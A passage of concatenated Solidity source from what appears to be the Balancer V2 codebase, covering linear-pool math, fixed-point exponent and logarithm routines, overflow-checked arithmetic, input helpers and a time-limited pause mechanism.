uint256 bptOut, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount in, so we round up overall. if (bptSupply == 0) { // BPT typically grows in the same ratio the invariant does. The first time liquidity is added however, the // BPT supply is initialized to equal the invariant (which in this case is just the wrapped balance as // there is no main balance). return bptOut; } uint256 nominalMain = _toNominal(mainBalance, params); uint256 previousInvariant = _calcInvariant(nominalMain, wrappedBalance); uint256 newBptBalance = bptSupply.add(bptOut); uint256 newWrappedBalance = Math.divUp(Math.mul(newBptBalance, previousInvariant), bptSupply).sub(nominalMain); return newWrappedBalance.sub(wrappedBalance); } function _calcWrappedOutPerBptIn( uint256 bptIn, uint256 mainBalance, uint256 wrappedBalance, uint256 bptSupply, Params memory params ) internal pure returns (uint256) { // Amount out, so we round down overall. uint256 nominalMain = _toNominal(mainBalance, params); uint256 previousInvariant = _calcInvariant(nominalMain, wrappedBalance); uint256 newBptBalance = bptSupply.sub(bptIn); uint256 newWrappedBalance = Math.divUp(Math.mul(newBptBalance, previousInvariant), bptSupply).sub(nominalMain); return wrappedBalance.sub(newWrappedBalance); } function _calcInvariant(uint256 nominalMainBalance, uint256 wrappedBalance) internal pure returns (uint256) { return nominalMainBalance.add(wrappedBalance); } function _toNominal(uint256 real, Params memory params) internal pure returns (uint256) { // Fees are always rounded down: either direction would work but we need to be consistent, and rounding down // uses less gas. if (real < params.lowerTarget) { uint256 fees = (params.lowerTarget - real).mulDown(params.fee); return real.sub(fees); } else if (real <= params.upperTarget) { return real; } else { uint256 fees = (real - params.upperTarget).mulDown(params.fee); return real.sub(fees); } } function _fromNominal(uint256 nominal, Params memory params) internal pure returns (uint256) { // Since real = nominal + fees, rounding down fees is equivalent to rounding down real. if (nominal < params.lowerTarget) { return (nominal.add(params.fee.mulDown(params.lowerTarget))).divDown(FixedPoint.ONE.add(params.fee)); } else if (nominal <= params.upperTarget) { return nominal; } else { return (nominal.sub(params.fee.mulDown(params.upperTarget)).divDown(FixedPoint.ONE.sub(params.fee))); } } function _calcTokensOutGivenExactBptIn( uint256[] memory balances, uint256 bptAmountIn, uint256 bptTotalSupply, uint256 bptIndex ) internal pure returns (uint256[] memory) { /********************************************************************************************** // exactBPTInForTokensOut // // (per token) // // aO = tokenAmountOut / bptIn \ // // b = tokenBalance a0 = b * | --------------------- | // // bptIn = bptAmountIn \ bptTotalSupply / // // bpt = bptTotalSupply // **********************************************************************************************/ // Since we're computing an amount out, we round down overall. This means rounding down on both the // multiplication and division. uint256 bptRatio = bptAmountIn.divDown(bptTotalSupply); uint256[] memory amountsOut = new uint256[](balances.length); for (uint256 i = 0; i < balances.length; i++) { // BPT is skipped as those tokens are not the LPs, but rather the preminted and undistributed amount. if (i != bptIndex) { amountsOut[i] = balances[i].mulDown(bptRatio); } } return amountsOut; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./LinearPool.sol"; library LinearPoolUserData { enum ExitKind { EMERGENCY_EXACT_BPT_IN_FOR_TOKENS_OUT } function exitKind(bytes memory self) internal pure returns (ExitKind) { return abi.decode(self, (ExitKind)); } function exactBptInForTokensOut(bytes memory self) internal pure returns (uint256 bptAmountIn) { (, bptAmountIn) = abi.decode(self, (ExitKind, uint256)); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero * address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like * types. * * This concept is unrelated to a Pool's Asset Managers. */ interface IAsset { // solhint-disable-previous-line no-empty-blocks } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated // documentation files (the “Software”), to deal in the Software without restriction, including without limitation the // rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the // Software. // THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE // WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR // COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /* solhint-disable */ /** * @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument). * * Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural * exponentiation and logarithm (where the base is Euler's number). * * @author Fernando Martinelli - @fernandomartinelli * @author Sergio Yuhjtman - @sergioyuhjtman * @author Daniel Fernandez - @dmf7z */ library LogExpMath { // All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying // two numbers, and multiply by ONE when dividing them. // All arguments and return values are 18 decimal fixed point numbers. int256 constant ONE_18 = 1e18; // Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the // case of ln36, 36 decimals. int256 constant ONE_20 = 1e20; int256 constant ONE_36 = 1e36; // The domain of natural exponentiation is bound by the word size and number of decimals used. // // Because internally the result will be stored using 20 decimals, the largest possible result is // (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221. // The smallest possible result is 10^(-18), which makes largest negative argument // ln(10^(-18)) = -41.446531673892822312. // We use 130.0 and -41.0 to have some safety margin. int256 constant MAX_NATURAL_EXPONENT = 130e18; int256 constant MIN_NATURAL_EXPONENT = -41e18; // Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point // 256 bit integer. int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17; int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17; uint256 constant MILD_EXPONENT_BOUND = 2**254 / uint256(ONE_20); // 18 decimal constants int256 constant x0 = 128000000000000000000; // 2ˆ7 int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals) int256 constant x1 = 64000000000000000000; // 2ˆ6 int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals) // 20 decimal constants int256 constant x2 = 3200000000000000000000; // 2ˆ5 int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2) int256 constant x3 = 1600000000000000000000; // 2ˆ4 int256 constant a3 = 888611052050787263676000000; // eˆ(x3) int256 constant x4 = 800000000000000000000; // 2ˆ3 int256 constant a4 = 298095798704172827474000; // eˆ(x4) int256 constant x5 = 400000000000000000000; // 2ˆ2 int256 constant a5 = 5459815003314423907810; // eˆ(x5) int256 constant x6 = 200000000000000000000; // 2ˆ1 int256 constant a6 = 738905609893065022723; // eˆ(x6) int256 constant x7 = 100000000000000000000; // 2ˆ0 int256 constant a7 = 271828182845904523536; // eˆ(x7) int256 constant x8 = 50000000000000000000; // 2ˆ-1 int256 constant a8 = 164872127070012814685; // eˆ(x8) int256 constant x9 = 25000000000000000000; // 2ˆ-2 int256 constant a9 = 128402541668774148407; // eˆ(x9) int256 constant x10 = 12500000000000000000; // 2ˆ-3 int256 constant a10 = 113314845306682631683; // eˆ(x10) int256 constant x11 = 6250000000000000000; // 2ˆ-4 int256 constant a11 = 106449445891785942956; // eˆ(x11) /** * @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent. * * Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`. */ function pow(uint256 x, uint256 y) internal pure returns (uint256) { if (y == 0) { // We solve the 0^0 indetermination by making it equal one. return uint256(ONE_18); } if (x == 0) { return 0; } // Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to // arrive at that result. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means // x^y = exp(y * ln(x)). // The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range. _require(x < 2**255, Errors.X_OUT_OF_BOUNDS); int256 x_int256 = int256(x); // We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In // both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end. // This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range. _require(y < MILD_EXPONENT_BOUND, Errors.Y_OUT_OF_BOUNDS); int256 y_int256 = int256(y); int256 logx_times_y; if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) { int256 ln_36_x = _ln_36(x_int256); // ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just // bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal // multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the // (downscaled) last 18 decimals. logx_times_y = ((ln_36_x / ONE_18) * y_int256 + ((ln_36_x % ONE_18) * y_int256) / ONE_18); } else { logx_times_y = _ln(x_int256) * y_int256; } logx_times_y /= ONE_18; // Finally, we compute exp(y * ln(x)) to arrive at x^y _require( MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT, Errors.PRODUCT_OUT_OF_BOUNDS ); return uint256(exp(logx_times_y)); } /** * @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent. * * Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`. */ function exp(int256 x) internal pure returns (int256) { _require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, Errors.INVALID_EXPONENT); if (x < 0) { // We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it // fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT). // Fixed point division requires multiplying by ONE_18. return ((ONE_18 * ONE_18) / exp(-x)); } // First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n, // where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7 // because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the // decomposition. // At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this // decomposition, which will be lower than the smallest x_n. // exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1. // We mutate x by subtracting x_n, making it the remainder of the decomposition. // The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause // intermediate overflows. Instead we store them as plain integers, with 0 decimals. // Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the // decomposition. // For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct // it and compute the accumulated product. int256 firstAN; if (x >= x0) { x -= x0; firstAN = a0; } else if (x >= x1) { x -= x1; firstAN = a1; } else { firstAN = 1; // One with no decimal places } // We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the // smaller terms. x *= 100; // `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point // one. Recall that fixed point multiplication requires dividing by ONE_20. int256 product = ONE_20; if (x >= x2) { x -= x2; product = (product * a2) / ONE_20; } if (x >= x3) { x -= x3; product = (product * a3) / ONE_20; } if (x >= x4) { x -= x4; product = (product * a4) / ONE_20; } if (x >= x5) { x -= x5; product = (product * a5) / ONE_20; } if (x >= x6) { x -= x6; product = (product * a6) / ONE_20; } if (x >= x7) { x -= x7; product = (product * a7) / ONE_20; } if (x >= x8) { x -= x8; product = (product * a8) / ONE_20; } if (x >= x9) { x -= x9; product = (product * a9) / ONE_20; } // x10 and x11 are unnecessary here since we have high enough precision already. // Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series // expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!). int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places. int256 term; // Each term in the sum, where the nth term is (x^n / n!). // The first term is simply x. term = x; seriesSum += term; // Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number, // multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not. term = ((term * x) / ONE_20) / 2; seriesSum += term; term = ((term * x) / ONE_20) / 3; seriesSum += term; term = ((term * x) / ONE_20) / 4; seriesSum += term; term = ((term * x) / ONE_20) / 5; seriesSum += term; term = ((term * x) / ONE_20) / 6; seriesSum += term; term = ((term * x) / ONE_20) / 7; seriesSum += term; term = ((term * x) / ONE_20) / 8; seriesSum += term; term = ((term * x) / ONE_20) / 9; seriesSum += term; term = ((term * x) / ONE_20) / 10; seriesSum += term; term = ((term * x) / ONE_20) / 11; seriesSum += term; term = ((term * x) / ONE_20) / 12; seriesSum += term; // 12 Taylor terms are sufficient for 18 decimal precision. // We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor // approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply // all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication), // and then drop two digits to return an 18 decimal value. return (((product * seriesSum) / ONE_20) * firstAN) / 100; } /** * @dev Logarithm (log(arg, base), with signed 18 decimal fixed point base and argument. */ function log(int256 arg, int256 base) internal pure returns (int256) { // This performs a simple base change: log(arg, base) = ln(arg) / ln(base). // Both logBase and logArg are computed as 36 decimal fixed point numbers, either by using ln_36, or by // upscaling. int256 logBase; if (LN_36_LOWER_BOUND < base && base < LN_36_UPPER_BOUND) { logBase = _ln_36(base); } else { logBase = _ln(base) * ONE_18; } int256 logArg; if (LN_36_LOWER_BOUND < arg && arg < LN_36_UPPER_BOUND) { logArg = _ln_36(arg); } else { logArg = _ln(arg) * ONE_18; } // When dividing, we multiply by ONE_18 to arrive at a result with 18 decimal places return (logArg * ONE_18) / logBase; } /** * @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument. */ function ln(int256 a) internal pure returns (int256) { // The real natural logarithm is not defined for negative numbers or zero. _require(a > 0, Errors.OUT_OF_BOUNDS); if (LN_36_LOWER_BOUND < a && a < LN_36_UPPER_BOUND) { return _ln_36(a) / ONE_18; } else { return _ln(a); } } /** * @dev Internal natural logarithm (ln(a)) with signed 18 decimal fixed point argument. */ function _ln(int256 a) private pure returns (int256) { if (a < ONE_18) { // Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less // than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call. // Fixed point division requires multiplying by ONE_18. return (-_ln((ONE_18 * ONE_18) / a)); } // First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which // we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is, // ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot // be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a. // At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this // decomposition, which will be lower than the smallest a_n. // ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1. // We mutate a by subtracting a_n, making it the remainder of the decomposition. // For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point // numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by // ONE_18 to convert them to fixed point. // For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide // by it and compute the accumulated sum. int256 sum = 0; if (a >= a0 * ONE_18) { a /= a0; // Integer, not fixed point division sum += x0; } if (a >= a1 * ONE_18) { a /= a1; // Integer, not fixed point division sum += x1; } // All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format. sum *= 100; a *= 100; // Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them. if (a >= a2) { a = (a * ONE_20) / a2; sum += x2; } if (a >= a3) { a = (a * ONE_20) / a3; sum += x3; } if (a >= a4) { a = (a * ONE_20) / a4; sum += x4; } if (a >= a5) { a = (a * ONE_20) / a5; sum += x5; } if (a >= a6) { a = (a * ONE_20) / a6; sum += x6; } if (a >= a7) { a = (a * ONE_20) / a7; sum += x7; } if (a >= a8) { a = (a * ONE_20) / a8; sum += x8; } if (a >= a9) { a = (a * ONE_20) / a9; sum += x9; } if (a >= a10) { a = (a * ONE_20) / a10; sum += x10; } if (a >= a11) { a = (a * ONE_20) / a11; sum += x11; } // a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series // that converges rapidly for values of `a` close to one - the same one used in ln_36. // Let z = (a - 1) / (a + 1). // ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1)) // Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires // division by ONE_20. int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20); int256 z_squared = (z * z) / ONE_20; // num is the numerator of the series: the z^(2 * n + 1) term int256 num = z; // seriesSum holds the accumulated sum of each term in the series, starting with the initial z int256 seriesSum = num; // In each step, the numerator is multiplied by z^2 num = (num * z_squared) / ONE_20; seriesSum += num / 3; num = (num * z_squared) / ONE_20; seriesSum += num / 5; num = (num * z_squared) / ONE_20; seriesSum += num / 7; num = (num * z_squared) / ONE_20; seriesSum += num / 9; num = (num * z_squared) / ONE_20; seriesSum += num / 11; // 6 Taylor terms are sufficient for 36 decimal precision. // Finally, we multiply by 2 (non fixed point) to compute ln(remainder) seriesSum *= 2; // We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both // with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal // value. return (sum + seriesSum) / 100; } /** * @dev Intrnal high precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument, * for x close to one. * * Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND. */ function _ln_36(int256 x) private pure returns (int256) { // Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits // worthwhile. // First, we transform x to a 36 digit fixed point value. x *= ONE_18; // We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1). // ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1)) // Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires // division by ONE_36. int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36); int256 z_squared = (z * z) / ONE_36; // num is the numerator of the series: the z^(2 * n + 1) term int256 num = z; // seriesSum holds the accumulated sum of each term in the series, starting with the initial z int256 seriesSum = num; // In each step, the numerator is multiplied by z^2 num = (num * z_squared) / ONE_36; seriesSum += num / 3; num = (num * z_squared) / ONE_36; seriesSum += num / 5; num = (num * z_squared) / ONE_36; seriesSum += num / 7; num = (num * z_squared) / ONE_36; seriesSum += num / 9; num = (num * z_squared) / ONE_36; seriesSum += num / 11; num = (num * z_squared) / ONE_36; seriesSum += num / 13; num = (num * z_squared) / ONE_36; seriesSum += num / 15; // 8 Taylor terms are sufficient for 36 decimal precision. // All that remains is multiplying by 2 (non fixed point). return seriesSum * 2; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. * Adapted from OpenZeppelin's SafeMath library. */ library Math { /** * @dev Returns the absolute value of a signed integer. */ function abs(int256 a) internal pure returns (uint256) { return a > 0 ? uint256(a) : uint256(-a); } /** * @dev Returns the addition of two unsigned integers of 256 bits, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the addition of two signed integers, reverting on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; _require((b >= 0 && c >= a) || (b < 0 && c < a), Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the subtraction of two unsigned integers of 256 bits, reverting on overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { _require(b <= a, Errors.SUB_OVERFLOW); uint256 c = a - b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; _require((b >= 0 && c <= a) || (b < 0 && c > a), Errors.SUB_OVERFLOW); return c; } /** * @dev Returns the largest of two numbers of 256 bits. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers of 256 bits. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; _require(a == 0 || c / a == b, Errors.MUL_OVERFLOW); return c; } function div( uint256 a, uint256 b, bool roundUp ) internal pure returns (uint256) { return roundUp ? divUp(a, b) : divDown(a, b); } function divDown(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); return a / b; } function divUp(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { return 1 + (a - 1) / b; } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../openzeppelin/IERC20.sol"; import "./BalancerErrors.sol"; library InputHelpers { function ensureInputLengthMatch(uint256 a, uint256 b) internal pure { _require(a == b, Errors.INPUT_LENGTH_MISMATCH); } function ensureInputLengthMatch( uint256 a, uint256 b, uint256 c ) internal pure { _require(a == b && b == c, Errors.INPUT_LENGTH_MISMATCH); } function ensureArrayIsSorted(IERC20[] memory array) internal pure { address[] memory addressArray; // solhint-disable-next-line no-inline-assembly assembly { addressArray := array } ensureArrayIsSorted(addressArray); } function ensureArrayIsSorted(address[] memory array) internal pure { if (array.length < 2) { return; } address previous = array[0]; for (uint256 i = 1; i < array.length; ++i) { address current = array[i]; _require(previous < current, Errors.UNSORTED_ARRAY); previous = current; } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./BalancerErrors.sol"; import "./ITemporarilyPausable.sol"; /** * @dev Allows for a contract to be paused during an initial period after deployment, disabling functionality. Can be * used as an emergency switch in case a security vulnerability or threat is identified. * * The contract can only be paused during the Pause Window, a period that starts at deployment. It can also be * unpaused and repaused any number of times during this period. This is intended to serve as a safety measure: it lets * system managers react quickly to potentially dangerous situations, knowing that this action is reversible if careful * analysis later determines there was a false alarm. * * If the contract is paused when the Pause Window finishes, it will remain in the paused state through an additional * Buffer Period, after which it will be automatically unpaused forever. This is to ensure there is always enough time * to react to an emergency, even if the threat is discovered shortly before the Pause Window expires. * * Note that since the contract can only be paused within the Pause Window, unpausing during the Buffer Period is * irreversible. */ abstract contract TemporarilyPausable is ITemporarilyPausable { // The Pause Window and Buffer Period are timestamp-based: they should not be relied upon for sub-minute accuracy. // solhint-disable not-rely-on-time uint256 private constant _MAX_PAUSE_WINDOW_DURATION = 90 days; uint256 private constant _MAX_BUFFER_PERIOD_DURATION = 30 days; uint256 private immutable _pauseWindowEndTime; uint256 private immutable _bufferPeriodEndTime; bool private _paused; constructor(uint256 pauseWindowDuration, uint256 bufferPeriodDuration) { _require(pauseWindowDuration <= _MAX_PAUSE_WINDOW_DURATION, Errors.MAX_PAUSE_WINDOW_DURATION); _require(bufferPeriodDuration <= _MAX_BUFFER_PERIOD_DURATION, Errors.MAX_BUFFER_PERIOD_DURATION); uint256 pauseWindowEndTime = block.timestamp + pauseWindowDuration; _pauseWindowEndTime = pauseWindowEndTime; _bufferPeriodEndTime = pauseWindowEndTime + bufferPeriodDuration; } /** * @dev Reverts if the contract is paused. */ modifier whenNotPaused() { _ensureNotPaused(); _; } /** * @dev Returns the current contract pause status, as well as the end times of the Pause Window and Buffer * Period. */ function getPausedState() external view override returns ( bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime ) { paused = !_isNotPaused(); pauseWindowEndTime = _getPauseWindowEndTime(); bufferPeriodEndTime = _getBufferPeriodEndTime(); } /** * @dev Sets the pause state to `paused`. The contract can only be paused until the end of the Pause Window, and * unpaused until the end of the Buffer Period. * * Once the Buffer Period expires, this function reverts unconditionally. */ function _setPaused(bool paused) internal { if (paused) { _require(block.timestamp < _getPauseWindowEndTime(), Errors.PAUSE_WINDOW_EXPIRED); } else { _require(block.timestamp < _getBufferPeriodEndTime(), Errors.BUFFER_PERIOD_EXPIRED); } _paused = paused; emit PausedStateChanged(paused); } /** * @dev Reverts if the contract is paused. */ function _ensureNotPaused() internal view { _require(_isNotPaused(), Errors.PAUSED); } /** * @dev Reverts if the contract is not paused. */ function _ensurePaused() internal view { _require(!_isNotPaused(), Errors.NOT_PAUSED); } /** * @dev Returns true if the contract is unpaused. * * Once the Buffer Period expires, the gas cost of calling this function is reduced dramatically, as storage is no * longer accessed. */ function _isNotPaused() internal view returns (bool) { // After the Buffer Period, the (inexpensive) timestamp check short-circuits the storage access. return block.timestamp > _getBufferPeriodEndTime() || !_paused; } // These getters lead to reduced bytecode size by inlining the immutable variables in a single place. function _getPauseWindowEndTime() private view returns (uint256) { return _pauseWindowEndTime; } function _getBufferPeriodEndTime() private view returns (uint256) { return _bufferPeriodEndTime; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev Library for encoding and decoding values stored inside a 256 bit word. Typically used to pack multiple values in * a single storage slot, saving gas by performing less storage accesses. * * Each value is defined by its size and the least significant bit in the word, also known as offset. For example, two * 128 bit values may be encoded in a word by assigning one an offset of 0, and the other an offset of 128. * * We could use Solidity structs to pack values together in a single storage slot instead of relying on a custom and * error-prone library, but unfortunately Solidity only allows for structs to live in either storage, calldata or * memory. Because a memory struct uses not just memory but also a slot in the stack (to store its memory location), * using memory for word-sized values (i.e. of 256 bits or less) is 